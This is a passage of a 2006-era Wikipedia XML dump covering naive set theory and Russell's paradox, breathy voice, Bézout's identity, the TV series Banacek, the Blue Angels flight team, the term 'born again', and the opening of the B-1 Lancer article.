# [[Integer]]s appear as solutions for ''x'' in equations like ''x'' + ''a'' = ''b''.  A blackboard bold capital '''Z''' (&lt;math&gt;\mathbb{Z}&lt;/math&gt;) often represents this set (for the German ''Zahlen'', meaning ''numbers'', because '''I''' is used for the set of imaginary numbers).
# [[Rational number]]s appear as solutions to equations like ''a'' + ''bx'' = ''c''.  A blackboard bold capital '''Q''' (&lt;math&gt;\mathbb{Q}&lt;/math&gt;) often represents this set (for ''quotient'', because R is used for the set of real numbers).
# [[Algebraic number]]s appear as solutions to [[polynomial]] equations (with integer coefficients) and may involve [[radical]]s and certain other [[irrational number]]s.  A blackboard bold capital '''A''' (&lt;math&gt;\mathbb{A}&lt;/math&gt;) or a '''Q''' with an overline often represents this set.
# [[Real number]]s include the algebraic numbers as well as the [[transcendental number]]s, which cannot appear as solutions to polynomial equations with rational coefficients.  A blackboard bold capital '''R''' (&lt;math&gt;\mathbb{R}&lt;/math&gt;) often represents this set.
# [[Imaginary numbers]] appear as solutions to equations such as ''x''&lt;sup&gt;2&lt;/sup&gt; + r = 0 where r &gt; 0.  A [[blackboard bold]] capital '''I''' (&lt;math&gt;\mathbb{I}&lt;/math&gt;) often represents this set.
# [[Complex number]]s are sums of a real and an imaginary number: ''r'' + ''s''i.  Here both ''r'' and ''s'' can equal zero; thus, the set of real numbers and the set of imaginary numbers are subsets of the set of complex numbers.  A blackboard bold capital '''C''' (&lt;math&gt;\mathbb{C}&lt;/math&gt;) often represents this set.

== Paradoxes ==

We referred earlier to the need for a formal, axiomatic approach.
What problems arise in the treatment we have given?
The problems relate to the formation of sets.
One's first intuition might be that we can form any sets we want, but this view leads to inconsistencies.
For any set ''x'' we can ask whether ''x'' is a member of itself.
Define
:''Z''&amp;nbsp;= {''x''&amp;nbsp;: ''x'' is not a member of ''x''}.
Now for the problem: is ''Z'' a member of ''Z''?
If yes, then by the defining quality of ''Z'', ''Z'' is not a member of itself, i.e., ''Z'' is not a member of ''Z''.
This forces us to declare that ''Z'' is not a member of ''Z''.
Then ''Z'' is not a member of itself and so, again by definition of ''Z'', ''Z'' is a member of ''Z''.
Thus both options lead us to a contradiction and we have an inconsistent theory.
Axiomatic developments place restrictions on the sort of sets we are allowed to form and thus prevent problems like our set ''Z'' from arising. This particular paradox is [[Russell's paradox]].

The penalty is that one must take more care with one's development, as one must in any rigorous mathematical argument.
In particular, it is problematic to speak of a set of everything, or to be (possibly) a bit less ambitious, even a [[set of all sets]].
In fact, in the standard axiomatisation of set theory, there is no set of all sets.
In areas of mathematics that seem to require a set of all sets (such as [[category theory]]), one can sometimes make do with a universal set so large that all of ordinary mathematics can be done within it (see [[universe (mathematics)|universe]]).
Alternatively, one can make use of [[class (set theory)|proper class]]es.
Or, one can use a different axiomatisation of set theory, such as [[W. V. Quine]]'s [[New Foundations]], which allows for a set of all sets and avoids Russell's paradox in another way.
The exact resolution employed rarely makes an ultimate difference.

==See also==

* [[Algebra of sets]]
* [[Axiomatic set theory]]
* [[Internal set theory]]
* [[Set]]
* [[Set theory]]

==References==

* [[Paul Richard Halmos|Halmos, P.R.]], ''[[Naive Set Theory (book)|Naive Set Theory]]'', D. Van Nostrand Company, Princeton, NJ, 1960.  Reprinted,  Springer-Verlag, New York, NY, 1974, ISBN 0-387-90092-6.
* [[Nicolas Bourbaki|Bourbaki, N.]], ''Elements of the History of Mathematics'', John Meldrum (trans.), Springer-Velag, Berlin, Germany, 1994.
* [[Keith J. Devlin|Devlin, K.J.]], ''The Joy of Sets:  Fundamentals of Contemporary Set Theory'', 2nd edition, Springer-Verlag, New York, NY, 1993.
* [[Jean van Heijenoort|van Heijenoort, J.]], ''From Frege to Gödel, A Source Book in Mathematical Logic, 1879-1931'', Harvard University Press, Cambridge, MA, 1967.  Reprinted with corrections, 1977.
* [[John L. Kelley|Kelley, J.L.]], ''General Topology'', Van Nostrand Reinhold, New York, NY, 1955.

== External links ==

* [http://www-groups.dcs.st-and.ac.uk/~history/HistTopics/Beginnings_of_set_theory.html Beginnings of set theory] page at St. Andrews
* [http://members.aol.com/jeff570/s.html Earliest Known Uses of Some of the Words of Mathematics (S)]
* [http://www.angelfire.com/az3/nfold/nulltheorem.html Uniqueness of the empty set] Is there only one empty set rather than an infinity of empty subsets?

== Note ==

{{ent|1|origin}} Concerning the origin of the term ''naive set theory'', Jeff Miller has this to say: &amp;ldquo;''Naïve set theory'' (contrasting with axiomatic set theory) was used occasionally in the 1940s and became an established term in the 1950s. It appears in Hermann Weyl's review of P. A. Schilpp (ed) ''The Philosophy of Bertrand Russell'' in the ''American Mathematical Monthly'', 53., No. 4. (1946), p. 210 and Laszlo Kalmar's review of ''The Paradox of Kleene and Rosser'' in ''Journal of Symbolic Logic'', 11, No. 4. (1946), p. 136. (JSTOR).&amp;rdquo; [http://members.aol.com/jeff570/s.html] The term was later popularized by [[Paul Halmos|Paul Halmos']] book, ''Naive Set Theory'' (1960). 

[[Category:Set theory]]

[[ca:Teoria de conjunts]]
[[de:Mengenlehre]]
[[es:Teoría de conjuntos]]
[[fr:Théorie naïve des ensembles]]
[[he:&amp;#1514;&amp;#1493;&amp;#1512;&amp;#1514; &amp;#1492;&amp;#1511;&amp;#1489;&amp;#1493;&amp;#1510;&amp;#1493;&amp;#1514; &amp;#1492;&amp;#1504;&amp;#1488;&amp;#1497;&amp;#1489;&amp;#1497;&amp;#1514;]]
[[it:Teoria ingenua degli insiemi]]
[[nl:Verzameling]]
[[pt:Teoria básica de conjuntos]]
[[zh:&amp;#26420;&amp;#32032;&amp;#38598;&amp;#21512;&amp;#35770;]]</text>
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  <page>
    <title>Black economy</title>
    <id>4945</id>
    <revision>
      <id>15903192</id>
      <timestamp>2004-11-25T03:53:43Z</timestamp>
      <contributor>
        <username>Nickj</username>
        <id>94904</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Black market]]</text>
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  <page>
    <title>Breathy voice</title>
    <id>4946</id>
    <revision>
      <id>33662566</id>
      <timestamp>2006-01-03T00:33:27Z</timestamp>
      <contributor>
        <username>Canderson7</username>
        <id>202193</id>
      </contributor>
      <minor />
      <comment>sp</comment>
      <text xml:space="preserve">'''Breathy voice''' or '''murmured voice''' is a [[phonation]] in which the [[vocal cords]] vibrate, as they do in normal (modal) voicing, but are held further apart, so that a larger volume of air escapes between them. This produces an audible noise. A breathy-voiced phonation {{IPA|[ɦ]}} (not actually a [[fricative]], as a literal reading of the IPA chart would suggest) can be heard as an [[allophone]] of English /h/ between vowels, eg. in ''behind''. A stop with breathy-voiced release (symbolised either as {{IPA|[bʱ], [dʱ], [gʱ],}} ''etc.'' or as {{IPA|[b̤], [d̤], [g̈],}} ''etc.'') is like [[aspiration]] in that it delays the onset of full voicing. This is the phonation of the [[Hindi]] &quot;voiced aspirated stops&quot; ''bh, dh, jh, gh.''

There are several ways to generate breathy-voiced sounds like {{IPA|[ɦ]}}. One is to hold the vocal cords apart, so that they are lax as they are for [h], but to increase the volume of airflow so that they vibrate loosely. A second is to bring the vocal cords closer together along their entire length than in voiceless [h], but not as close as in modally voiced sounds such as vowels. This results in an airflow intermediate between [h] and vowels, and is the case with English intervocalic /h/. A third is to constrict the glottis, but separate the [[arytenoid cartilage]]s that control one end. This results in the vocal cords being drawn together for voicing in the back, but separated to allow the passage of large volumes of air in the front. This is the situation with Hindi. 

==See also==
* [[Aspiration (phonetics)|aspiration]]
* [[Creaky voice]]
* [[List of phonetics topics]]
* [[Slack voice]]

[[Category:Phonation]]</text>
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  <page>
    <title>Bézout's identity</title>
    <id>4947</id>
    <revision>
      <id>40361330</id>
      <timestamp>2006-02-20T01:33:40Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">In [[number theory]], '''Bézout's identity''', named after [[Étienne Bézout]], is a [[linear equation|linear]] [[diophantine equation]]. It states that if ''a'' and ''b'' are [[integer|integers]] with [[greatest common divisor]] ''d'', then there exist integers ''x'' and ''y'' such that
:''ax'' + ''by'' = ''d''. 
Numbers ''x'' and ''y'' as above can be determined with the [[extended Euclidean algorithm]], but they are not uniquely determined.

For example, the greatest common divisor of 12 and 42 is 6, and we can write

:''12x'' + ''42y'' = ''6''.

with some of the solutions being

:(-3)·12 + 1·42 = 6
and also
:4·12 + (-1)·42 = 6.

The greatest common divisor ''d'' of ''a'' and ''b'' is in fact the smallest positive integer that can be written in the form ''ax'' + ''by''.

Bézout's identity works not only in the [[ring (algebra)|ring]] of integers, but also in any other [[principal ideal domain]] (PID).
That is, if ''R'' is a PID, and ''a'' and ''b'' are elements of ''R'', and ''d'' is a greatest common divisor of ''a'' and ''b'',
then there are elements ''x'' and ''y'' in ''R'' such that ''ax'' + ''by'' = ''d''. The reason: the [[ideal (mathematics)|ideal]] ''Ra''+''Rb'' is principal and indeed is equal to ''Rd''.

To confirm:
In some credible books, this identity has been attributed to French mathematician [[Claude Gaspard Bachet de Méziriac]].

==External links==

* [http://wims.unice.fr/wims/wims.cgi?module=tool/arithmetic/bezout.en Online calculator] of Bézout's identity.
* [http://fermatslasttheorem.blogspot.com/2005/06/bezouts-identity-for-gaussian-integers.html Bezout's Identity for Gaussian Integers], Fermat's Last Theorem Blog covers topics in the history of Fermat's Last Theorem.
[[Category:Diophantine equations]]

[[de:Lemma von Bézout]]
[[ca:Identitat de Bézout]]
[[es:Identidad de Bézout]]
[[fr:Identité de Bézout]]
[[it:Identità di Bézout]]
[[ru:Теорема Безу]]
[[zh:&amp;#35997;&amp;#31062;&amp;#31561;&amp;#24335;]]</text>
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  <page>
    <title>Banacek</title>
    <id>4948</id>
    <revision>
      <id>41337211</id>
      <timestamp>2006-02-26T18:06:14Z</timestamp>
      <contributor>
        <username>Ceyockey</username>
        <id>150564</id>
      </contributor>
      <minor />
      <comment>replaced ad hoc dab message with distinguish =&gt; [[Banachek]]</comment>
      <text xml:space="preserve">{{Distinguish|Banachek}}

'''''Banacek''''' (one of the rotating ''[[NBC Mystery Movie]]'' series) was a short lived light hearted detective [[Television programs|TV series]] on [[NBC]] from [[1972]] to [[1974]].  [[George Peppard]] played Thomas Banacek, a [[Boston, Massachusetts|Boston]]-based freelance investigator who worked mostly for finder's fees offered by insurance companies by solving seemingly impossible theft cases.  The show had a mixture of humor combined with rather intricate plots that never generated the ratings needed to keep it on the air. Banacek's catch-phrase was, &quot;There's an old [[Poland|Polish]] proverb that says ...&quot;. 

Also featured were [[Ralph Manza]] as Banacek's chauffeur Jay Drury, [[Murray Matheson]] as rare-bookstore owner Felix Mulholland, and [[Christine Belford]] as Carlie Kirkland.

''Banacek'' alternated in its timeslot with several other shows, but it was the only one to last beyond its first season. It was later rebroadcast on [[A&amp;E Network]].

==Episodes==
''Pilot''&lt;br&gt;
1. Banacek: Detour to Nowhere&lt;br&gt;&lt;br&gt;

''Season One''&lt;br&gt;
2. Let's Hear It For A Living Legend&lt;br&gt;
3. Project Phoenix&lt;br&gt;
4. No Sign of the Cross&lt;br&gt;
5. A Million the Hard Way&lt;br&gt;
6. To Steal A King&lt;br&gt;
7. Ten Thousand Dollars A Page&lt;br&gt;
8. The Greatest Collection of Them All&lt;br&gt;
9. The Two Million Clams of Cap'n Jack&lt;br&gt;&lt;br&gt;

''Season Two''&lt;br&gt;
10. No Stone Unturned&lt;br&gt;
11. If Max Is So Smart, Why Doesn't He Tell Us Where He Is?&lt;br&gt;
12. The Three Million Dollar Piracy&lt;br&gt;
13. The Vanishing Chalice&lt;br&gt;
14. Horse of A Slightly Different Color&lt;br&gt;
15. Rocket to Oblivion&lt;br&gt;
16. Fly Me- If You Can Find Me&lt;br&gt;
17. Now You See Me, Now You Don't&lt;br&gt;

==External links==
* [http://www.imdb.com/title/tt0068044/ IMDb: ''Banacek'']
{{US-tv-stub}}
[[fr:Banacek]]

[[Category:NBC network shows]]
[[Category:1970s TV shows in the United States]]
[[Category:Crime television series]]</text>
    </revision>
  </page>
  <page>
    <title>Blue Angels</title>
    <id>4949</id>
    <revision>
      <id>42004403</id>
      <timestamp>2006-03-03T04:05:45Z</timestamp>
      <contributor>
        <username>Ummit</username>
        <id>328950</id>
      </contributor>
      <comment>/* Trivia */ can → could</comment>
      <text xml:space="preserve">[[image:Blueangelsformationpd.jpg|thumb|300px|right|The Blue Angels F/A-18 Hornets fly in tight [[diamond formation]], maintaining 18&quot; wingtip-to-canopy separation.]]
[[Image:BAHR6.jpg|thumb|300px|right|The Blue Angels fly their F-4J Phantoms cross-country between show sites in a [[line abreast]] formation.]]
The [[United States Navy]]'s '''Blue Angels''' (or '''Navy Flight Demonstration Squadron'''), formed at the end of [[World War II]], is the world's first officially-sanctioned military aerial demonstration team. The team started out flying 3 aircraft in formation, then four, and currently operates 6 aircraft per show.

The team is split into &quot;the Diamond&quot; (Blue Angels 1 through 4) and the Opposing Solos (Blue Angels 5 and 6). Most of their display alternates between maneuvers performed by the diamond, and those performed by the solos. The diamond performs maneuvers in tight formation, usually at lower speeds, such as formation loops and barrel rolls or transitions from one formation to another. The opposing solos usually perform their maneuvers just under the speed of sound, and show off the capabilities of their individual F/A-18s through the execution of high-speed passes, slow passes, fast rolls, slow rolls, and very tight turns. Some of the maneuvers include both solo F/A-18s performing at once, such as opposing passes (where the solos fly towards each other in what appears to be a collision course, and then narrowly miss one another) and mirror formations (the two F/A-18s being flown back-to-back or belly-to-belly; in such formations, one of the aircraft is often inverted). At the end of the routine, all 6 aircraft join in formation and execute the team's signature &quot;[[fleur-de-lis]]&quot; closing maneuver.

The parameters of each show must be tailored to the local visibility: in clear weather the &quot;high&quot; show is performed, in overcast conditions it is the &quot;low&quot; show that the spectators see, and in limited visibility (weather permitting) the &quot;flat&quot; show is presented.  The &quot;high&quot; show requires an 8,000 foot ceiling and visibility of three nautical miles from the show's centerpoint.  &quot;Low&quot; and &quot;flat&quot; ceilings are 3,500 and 1,500 feet respectively.

==History==
[[Image:Voris and 1st Blue Angel team.jpg|thumb|310px|right|The first Blue Angel Flight Demonstration Squadron, 1946&amp;ndash;1947 (l to r): Lt. Al Taddeo, Solo; Lt. (J.G.) Gale Stouse, Spare; Lt. Cdr. R.M. &quot;Butch&quot; Voris, Flight Leader; Lt. Maurice &quot;Wick&quot; Wickendoll, Right Wing; Lt. Mel Cassidy, Left Wing.]]
On [[April 24]], [[1946]] [[Chief of Naval Operations]] [[Admiral]] [[Chester Nimitz]] issued a directive ordering the formation of a flight exhibition team (the first such official venture by any of the Armed Services) to boost Navy morale, demonstrate naval air power, and maintain public interest in naval aviation. However, an underlying mission was to help the Navy generate public and political support for a larger allocation of the shrinking defense budget. In April of that year, Rear Admiral Ralph Davison personally selected [[Lieutenant Commander]] [[Roy Marlin Voris|Roy Marlin &quot;Butch&quot; Voris]], a World War II [[flying ace]], to assemble and train a flight demonstration squadron, naming him Officer-in-Charge and Flight Leader. Voris selected two fellow instructors to join him (Lt. Maurice &quot;Wick&quot; Wickendoll and Lt. Mel Cassidy, both veterans of the War in the Pacific), and the three spent countless hours developing the show. The group perfected their initial maneuvers in secret over the Florida [[Everglades]] so that, in Voris' words, &quot;''...if anything happened, just the alligators would know.''&quot; Their first demonstration before Navy officials took place on [[May 10]], 1946 and was met with enthusiastic approval.

On [[June 15]] Voris led a trio of [[Grumman F6F Hellcat|Grumman F6F-5 Hellcats]], specially modified to reduce weight and painted sea blue with gold leaf trim, through their inaugural 15-minute-long performance at the Southern Air Show at [[Jacksonville, Florida|Jacksonville, Florida's]] '''Craig Field'''. The group, known simply as the &quot;Navy Flight Exhibition Team,&quot; thrilled spectators with low-flying maneuvers performed in tight formations, and (according to Voris) by &quot;''...keeping something in front of the crowds at all times. My objective was to beat the Army Air Corps. If we did that, we'd get all the other side issues. I felt that if we weren't the best, it would be my naval career''.&quot; The Blue Angels' first public demonstration also netted the team its first trophy, which sits on display at the team's current home in [[Pensacola, Florida|Pensacola]]. 

[[Image:Blue Angels Bearcats.jpg|thumb|300px|left|On August 25, 1946 the Blue Angels transitioned to the Grumman F8F-1 Bearcat and introduced the famous &quot;diamond&quot; formation at the '''World Air Carnival''' in [[Birmingham, Alabama]].]]
The team soon became known worldwide for its spectacular aerobatic stunts. During a trip to the &quot;[[Big Apple]],&quot; Lt. Wickendoll came across an advertisement in ''[[The New Yorker]]'' for the city's popular &quot;Blue Angel&quot; nightclub. Voris liked the name and on [[July 19]] officially made it the team's moniker. On [[August 25]] the squadron upgraded their aircraft to the [[F8F Bearcat|F8F-1 Bearcat]]. Though Voris left the team on [[May 30]], [[1947]] the &quot;Blues&quot; continued to perform nationwide until the start of the Korean War in 1950, when (due to a shortage of pilots) the team was disbanded and its members were ordered to combat duty. Once aboard the aircraft carrier [[USS Princeton|USS ''Princeton'']] the group formed the core of VF-191, '''Satan's Kittens'''. 

The Blue Angels were officially recommissioned on [[October 25]], [[1951]], and reported to [[Naval Air Station Corpus Christi|NAS Corpus Christi]], Texas. Lt. Cdr. Voris was again tasked with assembling the flight team (he was the first of only two commanding officers to lead the group twice). By the end of the [[1940s]], the Blue Angels were flying their first jet aircraft, the Grumman [[F9F Panther|F9F-2 Panther]], but now would be utilizing the newer and faster version of the Panther, the F9F-5. The Blue Angels remained in Corpus Christi until the winter of [[1954]], when they relocated to their present home at [[Naval Air Station Pensacola|NAS Pensacola, Florida]]. It was here that they progressed to the swept-wing Grumman [[F9F Cougar|F9F-8 Cougar]]. The ensuing 20 years saw the Blue Angels transition to two more aircraft, the Grumman [[F11F Tiger|F11F-1 Tiger]] ([[1957]]) and the McDonnell Douglas [[F-4 Phantom II|F-4J Phantom II]] ([[1969]]), the only plane to be flown by both the &quot;Blues&quot; and the [[United States Air Force]] [[Thunderbirds (squadron)|Thunderbirds]]. 

[[Image:BAHR9.jpg|thumb|right|300px|All six Blue Angel A-4F Skyhawks fly in [[delta formation]] with &quot;smoke on.&quot;]]
In December, [[1974]] the Navy Flight Demonstration Team began flying the McDonnell Douglas [[A-4 Skyhawk|A-4F Skyhawk II]] and was reorganized into the Navy Flight Demonstration Squadron. This reorganization permitted the establishment of a commanding officer, a flight leader, added support officers, and further redefined the squadron's mission emphasizing the support of recruiting efforts. Commander Tony Less was the squadron's first official commanding officer.

On [[November 8]], [[1986]] the Blue Angels completed their 40th anniversary year during ceremonies unveiling their present aircraft, the sleek McDonnell Douglas [[F/A-18 Hornet]], the first dual-role fighter/attack aircraft now serving on the nation's front lines of defense. The Blue Angels also operate a [[C-130 Hercules|C-130T Hercules]] nicknamed &quot;Fat Albert&quot; to provide support and (at selected venues) put on a show of its own with a jet-assisted take off ([[JATO]]) before the &quot;Blues&quot; begin their demonstration. &quot;Fat Albert Airlines&quot; flies with an all-Marine crew of three officers and five enlisted personnel.

The Blue Angels perform more than 70 shows at 34 different locations throughout the United States each year, where they still employ many of the same practices and techniques in their aerial displays as they did back in 1946. Since their inception, the &quot;Blues&quot; have flown for more than 260 million spectators worldwide.

==Timeline==
* 1946: The &quot;Navy Flight Exhibition Team&quot; is formed and takes the name '''Blue Angels'''.
[[Image:Blues Support Crew watching Diamond Formation at Show.jpg|thumb|300px|right|The &quot;Blues&quot; support crew watches the team perform in the Grumman F9F-2 Panther jet fighter.]]
* 1950: The team is ordered to Combat Duty Status in response to the [[Korean War|Korean Conflict]].
* 1951: Lt. Cdr. Johnny Magda is the first Blue Angel killed in combat over Korea. The team is reactivated in October.
* 1952: Two aircraft collide during a demonstration in [[Corpus Christi, Texas]]; one pilot is killed, but the team resumes its performances two weeks thereafter.
* 1954: &quot;Blues&quot; pilot Lt. Cdr. Hawkins becomes the first naval aviator to survive an ejection at supersonic speeds. The first [[United States Marine Corps|Marine Corps]] pilot, Capt. Chuck Hiett, joins the team.
* 1956: The team gives its first-ever performance outside the United States in [[Toronto, Canada]].
* 1965: The Blue Angels are the only team to receive a standing ovation during the four-day [[Paris Air Show]].
* 1968: Lt. Mary Russell becomes the first woman assigned to the &quot;Blues.&quot;
* 1973: Cdr. Harley Hall is shot down over [[Vietnam]], and is officially listed as [[Missing In Action]].
* 1974: The team transitions to the McDonnell Douglas A-4F Skyhawk II and is reorganized to add support officers and redefine the squadron’s mission, which emphasizes the support of recruiting efforts.
* 1986: The Blue Angels complete their 40th anniversary year and unveil their present aircraft, the sleek McDonnell Douglas F/A-18 Hornet. 
* 1992: The Blue Angels becomes the first foreign flight demonstration team to perform in [[Russia]]. More than a million spectators witness the &quot;Blues&quot; performances during a month-long European tour.
* 1998: Cdr. Patrick Driscoll makes the first &quot;Blue Jet&quot; landing on a &quot;haze gray and underway&quot; aircraft carrier, the [[USS Harry S. Truman|USS ''Harry S. Truman'']] (CVN-75).
* 2000: Show season attendance tops 15 million spectators.

==Blue Angels Creed==
[[Image:Blue Angels Skypatch insignia.jpg|frame|180px|right]]
:''Today is a very special and memorable day in your military career that will remain with you throughout your lifetime. You have survived the ultimate test of your peers and have proven to be completely deserving to wear the crest of the U.S. Navy Blue Angels. 

:''The prestige of wearing the Blue Angels uniform carries with it an extraordinary honor &amp;mdash; one that reflects not only on you as an individual, but on your teammates and the entire squadron. To the crowds at the air shows and to the public at hospitals and schools nationwide, you are a symbol of the Navy and Marine Corps' finest. You bring pride, hope and a promise for tomorrow's Navy and Marine Corps in the smiles and handshakes of today's youth. Remember today as the day you became a Blue Angel; look around at your teammates and commit this special bond to memory. &quot;Once a Blue Angel, always a Blue Angel,&quot; rings true for all those who wear the crest of the U.S. Navy Blue Angels. Welcome to the team.

==Trivia==
[[Image:BlueAngelsFA18.jpg|right|200px|thumb|An Angels Hornet heads for the sky.]]

* The &quot;Blues&quot; aircraft are completely combat-ready, and could be repainted and armed for combat service in just 24 hours.
* ''The Blue Angels'' was a short-lived dramatic television series inspired by the team's exploits and filmed with the cooperation of the Navy, that aired from [[September 1]], [[1960]] to [[March 20]], [[1961]]. 
* In 2005, [[The Military Channel]] aired a documentary miniseries, &quot;Blue Angels: A Year in the Life&quot;, focusing on the intricate day-to-day details of that year's training and performance schedule.
* The video for the [[United States|American]] [[rock and roll|rock]] [[rock band|band]] [[Van Halen|Van Halen's]] 1986 release &quot;Dreams&quot; is comprised of Blue Angels performance footage. The video was originally shot featuring the Blues in the [[McDonnell-Douglas]] [[A-4 Skyhawk]]. It was later reshot after the transition to the [[F/A-18 Hornet]].

==References==
* (2005). &quot;The First Blue Angel.&quot; ''Miramar 50th Air Show Special Commemorative Program'' 18. 
* (2005). &quot;The Blue Angels History.&quot; ''Miramar 50th Air Show Special Commemorative Program'' 22. 
* [http://www.blueangels.com/timeline.shtml#46 Blue Angels Timeline (1946&amp;ndash;1980)] accessed November 10, 2005.
* [http://www.mcweekly.com/issues/Issue.04-01-04/831/Article.831/print &quot;First Blue: Monterey resident Butch Voris formed the nation’s most-loved aviation team&quot;] article by Brett Wilbur in the April 1, 2004 edition of the ''Monterey County Weekly'' &amp;mdash; accessed October 16, 2005.
* [http://www.grummanpark.org/blueangels.htm &quot;Grumman and the Blue Angels&quot;] article by William C. Barto at the [http://www.grummanpark.org/ Grumman Memorial Park] official website &amp;mdash; accessed October 15, 2005.

==External links==
* [http://www.blueangels.navy.mil/ Explore the Navy: Blue Angels] official website.
* [http://www.blueangels.com The Blue Angels] &amp;mdash; show schedules and other information.
* [http://www.firstblueangel.com/ First Blue Angel] story of World War II Ace Butch Voris and the Creation of the Blue Angels.
* [http://www.chinfo.navy.mil/navpalib/aircraft/b-angels/blues.html The Navy Flight Demonstration Squadron: The Blue Angels] U.S. Navy official website.
* [http://www.blueangels.org/ U.S. Navy Blue Angels Alumni Association] official website.
* [http://www.rtptv.homestead.com/rtpblueangels.html RTP-TV Aerospace Show on the Blue Angels]  (online video).

{{Modern aerobatic teams}}
[[Category:United States Navy]]
[[ja:ブルーエンジェルス]]</text>
    </revision>
  </page>
  <page>
    <title>Born again</title>
    <id>4950</id>
    <revision>
      <id>40853163</id>
      <timestamp>2006-02-23T12:41:45Z</timestamp>
      <contributor>
        <username>Wiki alf</username>
        <id>303874</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/69.47.155.156|69.47.155.156]] ([[User talk:69.47.155.156|talk]]) to last version by Looper5920</comment>
      <text xml:space="preserve">:''This article is about the religious concept.  For other uses of the term see [[Born Again]]''.

'''Born again''' is a term used primarily in the  [[Fundamentalist_Christianity|Fundamentalist]],  [[Evangelicalism|Evangelical]], and [[Pentecostalism|Pentecostal]] branches of [[Protestantism|Protestant]] [[Christianity]], where it is associated with salvation, conversion and spiritual rebirth.  Outside of these circles, the term is often applied by extension to other phenomena, including a ''transcending personal experience'' &amp;mdash; or the experience of ''being spiritually reborn'' as a &quot;new&quot; human being. 

==Christian concepts==
To be '''born again''' in [[Christianity]] is synonymous with [[spirituality|spiritual]] [[rebirth]] and, in many denominational traditions, [[salvation]]. The term is used somewhat differently in different Christian traditions.

The Christian use of the term is derived from the third chapter of the [[Gospel of John]], where [[Nicodemus]] visits [[Jesus]]:

:''Now there was a Pharisee named Nicodemus, a leader of the Jews. He came to Jesus by night and said to him, &quot;Rabbi, we know that you are a teacher who has come from God; for no one can do these signs that you do apart from the presence of God.&quot;''
:''Jesus answered him, &quot;Very truly, I tell you, no one can see the kingdom of God without being born again.&quot;''
:''Nicodemus said to him, &quot;How can anyone be born after having grown old? Can one enter a second time into the mother's womb and be born?&quot; Jesus answered, &quot;Very truly, I tell you, no one can enter the kingdom of God without being born of water and Spirit.&quot;''

::-John 3:1-5 (''New Revised Standard Version'')

:::::(''Note that some translators consider &quot;born from above&quot; to be a better translation than &quot;born again&quot;''.)

Most Christian denominations hold that a person must be ''born again'' in some sense in order to be a Christian, and thus that all who are true Christians are in fact born again, whether they describe themselves as such or not. The [[Roman Catholic]] church, for example, considers that &quot;[[Baptism]] is ... the sacrament by which we are born again of water and the Holy Ghost.&quot; [http://www.newadvent.org/cathen/02258b.htm#III], though the term is not frequently used by Catholics.  This is also the belief held by [[Eastern Christianity]], [[Anglicanism]], and [[Lutheranism]], among other Christian traditions.  However, the term itself is most frequently used by Fundamentalist, Pentecostal, and Evangelical Protestants, where it is often associated with an intense ''conversion experience'' and an encounter of the individual with the power of God. Many Christians who are &quot;born again&quot; in this sense deny that those without such an experience are true Christians. 

The idea of being ''born again'' carries with it the theological idea that a Christian is a ''new creation'', given a fresh start by the action of God, freed from a sinful past life and able to begin a ''new life'' in relationship with Christ via the Holy Spirit.  [[John Wesley]] and Christians associated with early [[Methodism]] referred to the ''born again'' experience as &quot;the ''[[New Birth]]''&quot;.

In recent history, ''born again'' is a term that has been associated with evangelical renewal since the late 1960s, first in the United States and then later around the world.  Associated perhaps initially with [[Jesus movement|Jesus People]] and the Christian counterculture, ''born again'' came to refer to an intense conversion experience, and was increasingly used as a term to identify devout believers.  By the mid 1970s, ''born again'' Christians were increasingly referred to in the mainstream media as part of the Born Again Movement.  The term became so prevalent that by the 1976 Presidential campaign, [[Jimmy Carter]] used the term to refer to his own faith experience.

==See also==
* [[baptism]]
* [[sin]]
* [[evangelism]]
* [[Holy Spirit]]
* [[List of born-again Christian laypeople]] 
* [[Altar call]]

==External links==
* [http://gbgm-umc.org/umhistory/wesley/sermons/serm-045.stm Sermon #45: The New Birth] by [[John Wesley]]
* [http://gbgm-umc.org/umhistory/wesley/sermons/serm-018.stm Sermon #18: The Marks of the New Birth] by [[John Wesley]]
* [http://www.monergism.com/thethreshold/articles/topic/regeneration.html The Calvinist View of the Doctrine of Regeneration or The New Birth]
* [http://www.monergism.com/thethreshold/articles/onsite/monergism_short.html What is Monergistic Regeneration?] (Calvinist/Reformed)
* [http://www.zyworld.com/jamus/Regeneration.htm Rosicrucians: Regeneration] by Charles Weber, 2003


[[Category:Theology]]
[[Category:Christian evangelicalism]]
[[Category:Christian theology]]
[[Category:Charismatic and Pentecostal Christianity]]
[[Category:Christian fundamentalism]]

[[de:Wiedergeburt]]
[[hu:Újjászületés]]
[[nl:Wedergeboorte (christendom)]]</text>
    </revision>
  </page>
  <page>
    <title>B-1 Lancer</title>
    <id>4952</id>
    <revision>
      <id>42141477</id>
      <timestamp>2006-03-04T02:23:15Z</timestamp>
      <contributor>
        <ip>65.30.131.24</ip>
      </contributor>
      <comment>/* Specifications (B-1B Lancer) */</comment>
      <text xml:space="preserve">&lt;!-- This article is a part of [[Wikipedia:WikiProject Aircraft]]. Please see [[Wikipedia:WikiProject Aircraft/page content]] for recommended layout. --&gt;
[[Image:B1s.jpg|thumb|300px|The B-1 Lancer]]
The [[Boeing Integrated Defense Systems|Boeing IDS]] (formerly [[North American Aviation|Rockwell]]) '''B-1B Lancer''' is a long-range [[strategic bomber]] in service with the [[United States Air Force]] (USAF). Together with the [[B-52 Stratofortress]] and the [[B-2 Spirit]], it is the backbone of the [[United States]]'s long-range bomber force.

==Development==
The B-1 was conceived as the '''Advanced Manned Strategic Aircraft''' (AMSA) program circa [[1965 in aviation|1965]]. After a prolonged development period, the contract was awarded in [[1970 in aviation|1970]] to [[Rockwell International]]. The first of four prototype '''B-1A''' models flew on [[December 23]] [[1974 in aviation|1974]]. Intended as a high-speed, long-range bomber capable of a supersonic low-level dash and Mach 2.5 at altitude, the B-1A never went into production. The program was cancelled by decision of President [[Jimmy Carter]] in [[1977 in aviation|1977]], although flight tests of the four B-1A models continued through [[1981 in aviation|1981]]. One of these aircraft is now at the [[Strategic Air and Space Museum]] in [[Ashland, Nebraska]] (moved there after having been on display at the [[National Museum of the United States Air Force]] near [[Dayton, Ohio]] for many years), another at [[Wings Over the Rockies Air and Space Museum|Wings Over the Rockies]], in [[Denver, Colorado]], and one was converted for use in the B-1B program, then crashed during flight testing on [[August 29]], [[1984]].

